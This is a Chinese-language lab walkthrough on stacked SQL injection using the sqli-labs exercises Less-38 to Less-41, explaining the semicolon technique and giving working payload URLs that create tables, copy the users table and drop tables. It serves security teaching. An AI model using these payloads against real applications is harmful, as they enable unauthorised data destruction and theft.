堆叠注入 

  堆叠注入,英文名Stacked injections。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

 

原理介绍:

 

  在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

 

 

Less-38:

  测试注入点,发现使用’(单引号包裹):

  http://192.168.1.1/sqli-labs-master/Less-38/?id=1'--+

 

 

   我们使用堆叠注入尝试一下,先访问Mysql数据库,键入show tables;可以看到里面原来就有的表:

 

 

   然后我们在Less-38中输入命令,这里我们用堆叠注入的方式,在第二个语句创建一个表:

  http://192.168.1.1/sqli-labs-master/Less-38/?id=1' union select 1,2,3;create table liuhui like users;--+

 

 

   再次查看Mysql,发现已经创建成功:

 

   注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构。

Less-39:无包裹

  这一关除了包裹方式的不同,其他步骤都与Less-38相同,这里通过堆叠注入把上一节中新建的表删除:

  http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui; --+

 

   打开Mysql发现表liuhui已经删除:

 

   这里就不再赘述,放出语句截图:

  http://192.168.1.1/sqli-labs-master/Less-39/?id=1;create table liuhui39 like users;insert into liuhui39 select * from users;--+

 

   打开Mysql键入语句show tables;和select * from liuhui39;

 

 

   再次删除:

  http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui39;--+

 

   删除成功:

 

 

Less-40:用?id=1’)进行包裹

  除了包裹方式,与Less-38全都相同,不再赘述,参考Less-38。这一节没有错误回显,所以不能使用报错注入。

 

Less-41:无包裹

  这一关没有包裹,错误不回显,不能使用报错注入,具体步骤和语句请参考Less-38,此处不再赘述。